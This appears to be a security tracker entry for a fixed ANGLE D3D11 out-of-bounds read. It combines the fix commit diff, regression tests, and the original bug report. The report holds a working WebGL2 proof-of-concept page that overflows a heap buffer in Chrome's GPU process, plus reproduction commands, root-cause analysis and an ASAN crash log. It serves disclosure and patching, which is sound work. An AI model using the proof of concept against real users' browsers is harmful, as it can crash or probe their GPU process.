Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read in ANGLE
DescriptionOut of bounds read in ANGLE
ComponentANGLE
Bug ClassOOB
Tracker532617619
Fix commit5b683ed30122 (angle/angle) +218/-8
CISA KEVNot listed
CreditedĐặng Thế Tuyến
Disclosed2026-08-25

Changed Functions

FunctionChangeNotes
State
src/libANGLE/Texture.h
modified
Texture
src/libANGLE/Texture.h
modified
MipmapRobustInitTestES3
src/tests/gl_tests/MipmapTest.cpp
modified

Files Changed

  • src/libANGLE/Context.cpp
  • src/libANGLE/State.cpp
  • src/libANGLE/Texture.cpp
  • src/libANGLE/Texture.h
  • src/tests/angle_end2end_tests_expectations.txt
  • src/tests/gl_tests/MipmapTest.cpp
From 5b683ed30122c78aa89aa51890868360ba97f117 Mon Sep 17 00:00:00 2001
From: wangra <[email protected]>
Date: Thu, 30 Jul 2026 22:20:41 -0400
Subject: [PATCH] Optimize robust init check during GenerateMipmap

Add an enum class EnsureInitializedLevels to optionally skip robust
initialization for texture levels above the base level during
glGenerateMipmap since they will be overwritten.

Test: angle_end2end_tests --gtest_filter="MipmapRobustInitTestES3.GenerateMipmapRobustInitOptimization*"
Bug: b/532617619
Change-Id: I5bc60b0df7e72839f61a4f8a65c3d2e64825b67f
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/8177726
Reviewed-by: Geoff Lang <[email protected]>
Commit-Queue: Ran Wang <[email protected]>
Reviewed-by: Shahbaz Youssefi <[email protected]>
---

diff --git a/src/libANGLE/Context.cpp b/src/libANGLE/Context.cpp
index 5dc9a3f..818e256 100644
--- a/src/libANGLE/Context.cpp
+++ b/src/libANGLE/Context.cpp
@@ -1756,7 +1756,7 @@
     // For robust init, make sure the texture is initialized before storage writes.
     if (tex != nullptr)
     {
-        ANGLE_CONTEXT_TRY(tex->ensureInitialized(this));
+        ANGLE_CONTEXT_TRY(tex->ensureInitialized(this, EnsureInitializedLevels::AllEnabledLevels));
     }
     mState.setImageUnit(this, unit, tex, level, layered, layer, access, format);
     mImageObserverBindings[unit].bind(tex);
diff --git a/src/libANGLE/State.cpp b/src/libANGLE/State.cpp
index 620cf87..aba82f9 100644
--- a/src/libANGLE/State.cpp
+++ b/src/libANGLE/State.cpp
@@ -3837,7 +3837,8 @@
         Texture *texture = mActiveTexturesCache[textureUnitIndex];
         if (texture)
         {
-            ANGLE_TRY(texture->ensureInitialized(context));
+            ANGLE_TRY(
+                texture->ensureInitialized(context, EnsureInitializedLevels::AllEnabledLevels));
         }
     }
     return angle::Result::Continue;
@@ -3852,7 +3853,8 @@
         Texture *texture = mImageUnits[imageUnitIndex].texture.get();
         if (texture)
         {
-            ANGLE_TRY(texture->ensureInitialized(context));
+            ANGLE_TRY(
+                texture->ensureInitialized(context, EnsureInitializedLevels::AllEnabledLevels));
         }
     }
     return angle::Result::Continue;
diff --git a/src/libANGLE/Texture.cpp b/src/libANGLE/Texture.cpp
index f56547d..3472af5 100644
--- a/src/libANGLE/Texture.cpp
+++ b/src/libANGLE/Texture.cpp
@@ -1745,7 +1745,7 @@
 
     // Initialize source texture.
     // Note: we don't have a way to notify which portions of the image changed currently.
-    ANGLE_TRY(source->ensureInitialized(context));
+    ANGLE_TRY(source->ensureInitialized(context, EnsureInitializedLevels::AllEnabledLevels));
 
     ImageIndex index = ImageIndex::MakeFromTarget(target, level, ImageIndex::kEntireLevel);
 
@@ -1779,7 +1779,7 @@
     ASSERT(TextureTargetToType(target) == mState.mType);
 
     // Ensure source is initialized.
-    ANGLE_TRY(source->ensureInitialized(context));
+    ANGLE_TRY(source->ensureInitialized(context, EnsureInitializedLevels::AllEnabledLevels));
 
     Box destBox(destOffset.x, destOffset.y, destOffset.z, sourceBox.width, sourceBox.height,
                 sourceBox.depth);
@@ -2493,7 +2493,11 @@
 {
     ASSERT(hasAnyDirtyBit() || source == Command::GenerateMipmap ||
            (context->isRobustResourceInitEnabled() && mState.mInitState == InitState::MayNeedInit));
-    ANGLE_TRY(ensureInitialized(context));
+    // During glGenerateMipmap, robust initialization of levels i > baseLevel can be skipped
+    // because they will be completely overwritten by the generated mipmaps.
+    ANGLE_TRY(ensureInitialized(context, source == Command::GenerateMipmap
+                                             ? EnsureInitializedLevels::BaseOnly
+                                             : EnsureInitializedLevels::AllEnabledLevels));
     ANGLE_TRY(mTexture->syncState(context, mDirtyBits, source));
     mDirtyBits.reset();
     return angle::Result::Continue;
@@ -2585,7 +2589,7 @@
     mCompletenessCache.context = {0};
 }
 
-angle::Result Texture::ensureInitialized(const Context *context)
+angle::Result Texture::ensureInitialized(const Context *context, EnsureInitializedLevels levels)
 {
     if (!context->isRobustResourceInitEnabled() || mState.mInitState == InitState::Initialized)
     {
@@ -2601,6 +2605,11 @@
     while (it.hasNext())
     {
         const ImageIndex index = it.next();
+        if (levels == EnsureInitializedLevels::BaseOnly &&
+            index.getLevelIndex() != static_cast<GLint>(mState.getEffectiveBaseLevel()))
+        {
+            break;
+        }
         ImageDesc &desc =
             mState.mImageDescs[GetImageDescIndex(index.getTarget(), index.getLevelIndex())];
         if (desc.initState == InitState::MayNeedInit && !desc.size.empty())
diff --git a/src/libANGLE/Texture.h b/src/libANGLE/Texture.h
index 8ea72da..d2db25b 100644
--- a/src/libANGLE/Texture.h
+++ b/src/libANGLE/Texture.h
@@ -49,6 +49,12 @@
 class State;
 class Texture;
 
+enum class EnsureInitializedLevels
+{
+    BaseOnly,
+    AllEnabledLevels,
+};
+
 constexpr GLuint kInitialMaxLevel = 1000;
 
 bool IsMipmapFiltered(GLenum minFilterMode);
@@ -717,7 +723,7 @@
     GLuint getId() const override;
 
     // Needed for robust resource init.
-    angle::Result ensureInitialized(const Context *context);
+    angle::Result ensureInitialized(const Context *context, EnsureInitializedLevels levels);
     InitState initState(GLenum binding, const ImageIndex &imageIndex) const override;
     InitState initState() const { return mState.mInitState; }
     void setInitState(GLenum binding, const ImageIndex &imageIndex, InitState initState) override;
diff --git a/src/tests/angle_end2end_tests_expectations.txt b/src/tests/angle_end2end_tests_expectations.txt
index 5372a02..e2ba6e9 100644
--- a/src/tests/angle_end2end_tests_expectations.txt
+++ b/src/tests/angle_end2end_tests_expectations.txt
@@ -43,6 +43,8 @@
 // Generate mipmap or draw on mismatched stale levels fails on some OpenGL/GLES drivers when robust init is enabled
 532617619 OPENGL : Texture2DTestES3RobustInit.MismatchedStaleLevel*/* = SKIP
 532617619 GLES : Texture2DTestES3RobustInit.MismatchedStaleLevel*/* = SKIP
+532617619 OPENGL : MipmapRobustInitTestES3.GenerateMipmapRobustInitOptimization*/* = SKIP
+532617619 GLES : MipmapRobustInitTestES3.GenerateMipmapRobustInitOptimization*/* = SKIP
 
 381742474 : ShaderStorageBufferTest31.ExceedMaxShaderStorageBlockSize/* = SKIP
 
diff --git a/src/tests/gl_tests/MipmapTest.cpp b/src/tests/gl_tests/MipmapTest.cpp
index 8b49e9f..59c491e 100644
--- a/src/tests/gl_tests/MipmapTest.cpp
+++ b/src/tests/gl_tests/MipmapTest.cpp
@@ -2639,6 +2639,197 @@
     EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::cyan);
 }
 
+class MipmapRobustInitTestES3 : public ANGLETest<>
+{
+  protected:
+    MipmapRobustInitTestES3()
+    {
+        setWindowWidth(128);
+        setWindowHeight(128);
+        setConfigRedBits(8);
+        setConfigGreenBits(8);
+        setConfigBlueBits(8);
+        setConfigAlphaBits(8);
+        setRobustResourceInit(true);
+    }
+};
+
+// Test that robust initialization is correctly handled after glGenerateMipmap.
+TEST_P(MipmapRobustInitTestES3, GenerateMipmapRobustInitOptimization)
+{
+    GLTexture texture;
+    glBindTexture(GL_TEXTURE_2D, texture);
+
+    // Allocate with nullptr to verify it gets robust cleared later
+    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    // Set levels 1 through 4 to be mipcomplete (incompatible with level 0) with different colors.
+    std::vector<GLColor> kLevel1Data(8 * 8, GLColor::green);
+    glTexImage2D(GL_TEXTURE_2D, 1, GL_RGBA, 8, 8, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel1Data.data());
+
+    glTexImage2D(GL_TEXTURE_2D, 2, GL_RGBA, 4, 4, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    std::vector<GLColor> kLevel3Data(2 * 2, GLColor::blue);
+    glTexImage2D(GL_TEXTURE_2D, 3, GL_RGBA, 2, 2, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel3Data.data());
+
+    glTexImage2D(GL_TEXTURE_2D, 4, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    // Set levels 5, 6 and 10 to something unrelated and incompatible. Upload data to level 6.
+    glTexImage2D(GL_TEXTURE_2D, 5, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    std::vector<GLColor> kLevel6Data(17 * 31, GLColor::yellow);
+    glTexImage2D(GL_TEXTURE_2D, 6, GL_RGBA, 17, 31, 0, GL_RGBA, GL_UNSIGNED_BYTE,
+                 kLevel6Data.data());
+
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/src/tests/angle_end2end_tests_expectations.txt b/src/tests/angle_end2end_tests_expectations.txt
index 5372a02..e2ba6e9 100644
--- a/src/tests/angle_end2end_tests_expectations.txt
+++ b/src/tests/angle_end2end_tests_expectations.txt
@@ -43,6 +43,8 @@
 // Generate mipmap or draw on mismatched stale levels fails on some OpenGL/GLES drivers when robust init is enabled
 532617619 OPENGL : Texture2DTestES3RobustInit.MismatchedStaleLevel*/* = SKIP
 532617619 GLES : Texture2DTestES3RobustInit.MismatchedStaleLevel*/* = SKIP
+532617619 OPENGL : MipmapRobustInitTestES3.GenerateMipmapRobustInitOptimization*/* = SKIP
+532617619 GLES : MipmapRobustInitTestES3.GenerateMipmapRobustInitOptimization*/* = SKIP
 
 381742474 : ShaderStorageBufferTest31.ExceedMaxShaderStorageBlockSize/* = SKIP
diff --git a/src/tests/gl_tests/MipmapTest.cpp b/src/tests/gl_tests/MipmapTest.cpp
index 8b49e9f..59c491e 100644
--- a/src/tests/gl_tests/MipmapTest.cpp
+++ b/src/tests/gl_tests/MipmapTest.cpp
@@ -2639,6 +2639,197 @@
     EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::cyan);
 }
 
+class MipmapRobustInitTestES3 : public ANGLETest<>
+{
+  protected:
+    MipmapRobustInitTestES3()
+    {
+        setWindowWidth(128);
+        setWindowHeight(128);
+        setConfigRedBits(8);
+        setConfigGreenBits(8);
+        setConfigBlueBits(8);
+        setConfigAlphaBits(8);
+        setRobustResourceInit(true);
+    }
+};
+
+// Test that robust initialization is correctly handled after glGenerateMipmap.
+TEST_P(MipmapRobustInitTestES3, GenerateMipmapRobustInitOptimization)
+{
+    GLTexture texture;
+    glBindTexture(GL_TEXTURE_2D, texture);
+
+    // Allocate with nullptr to verify it gets robust cleared later
+    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    // Set levels 1 through 4 to be mipcomplete (incompatible with level 0) with different colors.
+    std::vector<GLColor> kLevel1Data(8 * 8, GLColor::green);
+    glTexImage2D(GL_TEXTURE_2D, 1, GL_RGBA, 8, 8, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel1Data.data());
+
+    glTexImage2D(GL_TEXTURE_2D, 2, GL_RGBA, 4, 4, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    std::vector<GLColor> kLevel3Data(2 * 2, GLColor::blue);
+    glTexImage2D(GL_TEXTURE_2D, 3, GL_RGBA, 2, 2, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel3Data.data());
+
+    glTexImage2D(GL_TEXTURE_2D, 4, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    // Set levels 5, 6 and 10 to something unrelated and incompatible. Upload data to level 6.
+    glTexImage2D(GL_TEXTURE_2D, 5, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    std::vector<GLColor> kLevel6Data(17 * 31, GLColor::yellow);
+    glTexImage2D(GL_TEXTURE_2D, 6, GL_RGBA, 17, 31, 0, GL_RGBA, GL_UNSIGNED_BYTE,
+                 kLevel6Data.data());
+
+    glTexImage2D(GL_TEXTURE_2D, 10, GL_RGBA, 3, 3, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST_MIPMAP_NEAREST);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
+
+    // Force overwriting levels 2, 3 and 4
+    glGenerateMipmap(GL_TEXTURE_2D);
+    ASSERT_GL_NO_ERROR();
+
+    // Use GL_NEAREST min filter so the texture doesn't need to be mipmap-complete for framebuffer
+    // completeness.
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
+
+    GLFramebuffer fbo;
+    glBindFramebuffer(GL_FRAMEBUFFER, fbo);
+
+    // Level 0 is robust cleared
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 0);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 0);
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+
+    // Levels 1 through 4 all have the color uploaded
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 4);
+    for (int level = 1; level <= 4; ++level)
+    {
+        glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, level);
+        EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
+    }
+
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 5);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 5);
+
+    // Level 5 is cleared
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 5);
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+
+    // Level 6 still has its uploaded data
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 6);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 6);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 6);
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::yellow);
+
+    // Level 10 is cleared
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 10);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 10);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 10);
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+}
+
+// Test that robust initialization is correctly handled after glGenerateMipmap, verifying by
+// sampling.
+TEST_P(MipmapRobustInitTestES3, GenerateMipmapRobustInitOptimizationWithSampling)
+{
+    GLTexture texture;
+    glBindTexture(GL_TEXTURE_2D, texture);
+
+    // Allocate with nullptr to verify it gets robust cleared later
+    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    // Set levels 1 through 4 to be mipcomplete (incompatible with level 0) with different colors.
+    std::vector<GLColor> kLevel1Data(8 * 8, GLColor::green);
+    glTexImage2D(GL_TEXTURE_2D, 1, GL_RGBA, 8, 8, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel1Data.data());
+
+    glTexImage2D(GL_TEXTURE_2D, 2, GL_RGBA, 4, 4, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    std::vector<GLColor> kLevel3Data(2 * 2, GLColor::blue);
+    glTexImage2D(GL_TEXTURE_2D, 3, GL_RGBA, 2, 2, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel3Data.data());
+
+    glTexImage2D(GL_TEXTURE_2D, 4, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    // Set levels 5, 6 and 10 to something unrelated and incompatible. Upload data to level 6.
+    glTexImage2D(GL_TEXTURE_2D, 5, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    std::vector<GLColor> kLevel6Data(17 * 31, GLColor::yellow);
+    glTexImage2D(GL_TEXTURE_2D, 6, GL_RGBA, 17, 31, 0, GL_RGBA, GL_UNSIGNED_BYTE,
+                 kLevel6Data.data());
+
+    glTexImage2D(GL_TEXTURE_2D, 10, GL_RGBA, 3, 3, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST_MIPMAP_NEAREST);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
+
+    // Force overwriting levels 2, 3 and 4
+    glGenerateMipmap(GL_TEXTURE_2D);
+    ASSERT_GL_NO_ERROR();
+
+    ANGLE_GL_PROGRAM(verify, essl3_shaders::vs::Texture2DLod(), essl3_shaders::fs::Texture2DLod());
+    glUseProgram(verify);
+    const GLint lodLoc = glGetUniformLocation(verify, essl3_shaders::LodUniform());
+    glUniform1i(glGetUniformLocation(verify, essl3_shaders::Texture2DUniform()), 0);
+
+    GLFramebuffer fbo;
+    glBindFramebuffer(GL_FRAMEBUFFER, fbo);
+
+    GLTexture destTexture;
+    glBindTexture(GL_TEXTURE_2D, destTexture);
+    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, destTexture, 0);
+    ASSERT_GL_NO_ERROR();
+
+    glBindTexture(GL_TEXTURE_2D, texture);
+
+    // Level 0 is robust cleared
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 0);
+    glUniform1f(lodLoc, 0.0f);
+    drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f);
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+
+    // Levels 1 through 4 all have the color uploaded
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 4);
+    for (int level = 1; level <= 4; ++level)
+    {
+        glUniform1f(lodLoc, static_cast<GLfloat>(level - 1));
+        drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f);
+        EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
+    }
+
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 5);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 5);
+
+    // Level 5 is cleared
+    glUniform1f(lodLoc, 0.0f);
+    drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f);
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+
+    // Level 6 still has its uploaded data
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 6);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 6);
+    glUniform1f(lodLoc, 0.0f);
+    drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f);
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::yellow);
+
+    // Level 10 is cleared
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 10);
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 10);
+    glUniform1f(lodLoc, 0.0f);
+    drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f);
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+}
+
+GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(MipmapRobustInitTestES3);
+ANGLE_INSTANTIATE_TEST_ES3(MipmapRobustInitTestES3);
+
 // Use this to select which configurations (e.g. which renderer, which GLES major version) these
 // tests should be run against.
 ANGLE_INSTANTIATE_TEST_ES2_AND_ES3_AND(
Loading diff…

Original Bug Report

reported by [email protected]

Heap-buffer-overflow in ANGLE D3D11 TextureStorage11::setData during glGenerateMipmap

Steps to reproduce the problem

ENVIRONMENT

  • Windows x64, Chrome ASAN build (repro’d on 152.0.7925.0).
  • ANGLE D3D11 WARP device. On a GPU-less host (VPS / VDI / RDP / Windows Server / container) –use-angle=d3d11 selects WARP automatically, so this is the default config there. To force it on a machine that has a GPU, use –use-angle=d3d11-warp.
  1. Save this as poc.html (also attached):

<!doctype html><meta charset=“utf-8”><canvas id=“c”></canvas><script> const gl = document.getElementById(“c”).getContext(“webgl2”); const tex = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, tex); // stale non-base level, small, different format gl.texImage2D(gl.TEXTURE_2D, 1, gl.R8, 2, 16, 0, gl.RED, gl.UNSIGNED_BYTE, null); // larger base level, different format -> native storage is built from this gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, 16, 128, 0, gl.RGBA, gl.UNSIGNED_BYTE, null); // build storage + robust-init the stale L1 image into the larger storage L1 gl.generateMipmap(gl.TEXTURE_2D); gl.finish(); </script>

  1. Launch the ASAN build, forcing the WARP device:

chrome.exe –headless=new –no-sandbox –use-angle=d3d11-warp ^ –enable-logging=stderr –v=0 “file:///C:/path/to/poc.html”

(On a GPU-less host, –use-angle=d3d11 or simply opening the page works.)

RESULT The GPU process aborts with AddressSanitizer: heap-buffer-overflow inside D3D10Warp.dll, called from: rx::TextureStorage11::setData TextureStorage11.cpp:891 (UpdateSubresource) rx::TextureD3D::initializeContents TextureD3D.cpp:969 (robust resource init) gl::Texture::ensureInitialized Texture.cpp:2569 gl::Texture::syncState Texture.cpp:2457 gl::Texture::generateMipmap Texture.cpp:1982 The overflowed buffer is the zero-fill buffer allocated by gl::Context::getZeroFilledBuffer (TextureD3D.cpp:965), sized from the stale level-1 IMAGE (R8 2x16 = 32 bytes); the full-subresource UpdateSubresource then reads it as the STORAGE level-1 (RGBA8 8x64 = 2048 bytes) -> reads past the buffer.

CONTROL (confirms the cause) Removing the first texImage2D call (the stale level-1 image) — i.e. just the base level + generateMipmap — runs cleanly with no overflow.

RELIABILITY Highly reliable. A fuzzing run on a GPU-less VPS produced 48 crashes (one per ~150 random seeds), all deduping to this single call path.

NOTES

  • Triggered purely from WebGL2 (no special content flags).
  • This is the D3D11 counterpart of the Metal issue chromium:499006005 (“Treat glGenerateMipmap as an image redefinition”); that fix was Metal-only.
  • On discrete-GPU D3D11 the same undersized upload happens but is serviced via the driver/DMA and is not ASAN-instrumented, so it is not observable there; the under-sizing itself is in ANGLE and is backend-common.

Problem Description

A web page can trigger a heap-buffer-overflow in the GPU process with three WebGL2 calls (texImage2D, texImage2D, generateMipmap) on ANGLE’s Direct3D 11 backend. This is the D3D11 counterpart of chromium:499006005 (“Metal: Treat glGenerateMipmap as an image redefinition”); that fix touched only the Metal backend, and the same image-vs-native-storage size desync is present, unguarded, in D3D11. ROOT CAUSE During robust resource initialization, ANGLE sizes the zero-fill source buffer from a texture level’s IMAGE dimensions, but uploads it with a full-subresource UpdateSubresource (pDstBox = NULL), which fills the entire native STORAGE subresource, whose dimensions are derived from the base level. TextureD3D::initializeContents (src/libANGLE/renderer/d3d/TextureD3D.cpp) computeRowPitch(type, image->getWidth(), 1, 0, &imageBytes); // :952 IMAGE dims imageBytes *= image->getHeight() * image->getDepth(); // :955-958 context->getZeroFilledBuffer(imageBytes, &zeroBuffer); // :965 image-sized buffer mTexStorage->setData(context, index, image, nullptr, …, zeroBuffer->data()); // :969 TextureStorage11::setData (src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp) levelBox = { getLevelWidth(level), getLevelHeight(level), … }; // :804 STORAGE dims fullUpdate = (destBox == nullptr || *destBox == levelBox); // :806 width = destBox ? destBox->width : image->getWidth(); // :817 IMAGE dims computeRowDepthSkipBytes(type, width, height, …) -> srcRowPitch // :824 UpdateSubresource(resource, destSubresource, /pDstBox=/nullptr, data, …);// :891 For robust init destBox is null, so UpdateSubresource fills the whole storage subresource (storage-level dims) while the source buffer/pitch were computed from the image dims. When a non-base level holds a stale image smaller than the geometric storage level — a state reachable through ordinary texture redefinition followed by generateMipmap — Direct3D accesses the source beyond its allocated size. Minimal trigger: texImage2D(level 1, R8, 2x16); texImage2D(level 0, RGBA8, 16x128); generateMipmap. generateMipmap builds storage from base level 0 (storage level 1 = RGBA8 8x64 = 2048 bytes); robust init sizes the zero buffer from the stale level-1 image (R8 2x16 = 32 bytes); UpdateSubresource then processes it as the 2048-byte storage level. Removing the stale level-1 image runs clean (control). REACHABILITY

  • Pure WebGL2, no special content flags.
  • Manifests on the D3D11 WARP device. On GPU-less Windows hosts (VPS, cloud, VDI, RDP, Windows Server, containers) –use-angle=d3d11 (the default) selects WARP automatically, so this is the default configuration for that population.
  • On discrete-GPU D3D11 the same undersized upload occurs but is serviced by the driver/DMA and is not ASAN-instrumented, so it is not observable there; the under-sizing is in ANGLE and is backend-common.

IMPACT AddressSanitizer reports a heap-buffer-overflow reaching D3D10Warp.dll from TextureStorage11::setData during generateMipmap. I observed an out-of-bounds read; I did not construct an out-of-bounds write or a web-observable info leak, but I have not ruled out higher-impact variants of this desync and defer the severity assessment to the ANGLE/security team — particularly given that the Metal sibling (chromium:499006005) was rated High.

Summary

Heap-buffer-overflow in ANGLE D3D11 TextureStorage11::setData during glGenerateMipmap

Custom Questions

Type of crash:

GPU process

Crash state:

==9144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x11af79f21900 at pc 0x7ffb8b26b878 bp 0x00082b5fced0 sp 0x00082b5fcf18 READ of size 16 at 0x11af79f21900 thread T0 [10032:12452:0709/070935.518:INFO:CONSOLE:36] “TEXFUZZ_RENDERER ANGLE (Microsoft, Microsoft Basic Render Driver (0x0000008C) Direct3D11 vs_5_0 ps_5_0, D3D11)”, source: file:///C:/chrome/fuzz/angle_texfuzz.html?start=900&count=150 (36) #0 0x7ffb8b26b877 (C:\chrome\asan\build\clang_rt.asan_dynamic-x86_64.dll+0x18004b877) #1 0x7ffbeb7f6a2d (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800e6a2d) #2 0x7ffbeb7b75d0 (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800a75d0) #3 0x7ffbeb77919d (C:\Windows\SYSTEM32\d3d10warp.dll+0x18006919d) #4 0x7ffbef059a40 (C:\Windows\SYSTEM32\d3d11.dll+0x180129a40) #5 0x7ffbef05f9c2 (C:\Windows\SYSTEM32\d3d11.dll+0x18012f9c2) #6 0x7ffb47af11a0 in rx::TextureStorage11::setData(class gl::Context const *, class gl::ImageIndex const &, class rx::ImageD3D *, struct gl::Box const *, unsigned int, struct gl::PixelUnpackState const &, unsigned char const *) C:\b\s\w\ir\cache\builder\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\TextureStorage11.cpp:891:27

#44 0x7ffb61b42935 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, class base::TimeDelta) C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:660:12

SUMMARY: AddressSanitizer: heap-buffer-overflow (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800e6a2d) Shadow bytes around the buggy address: 0x11af79f21680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x11af79f21900:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 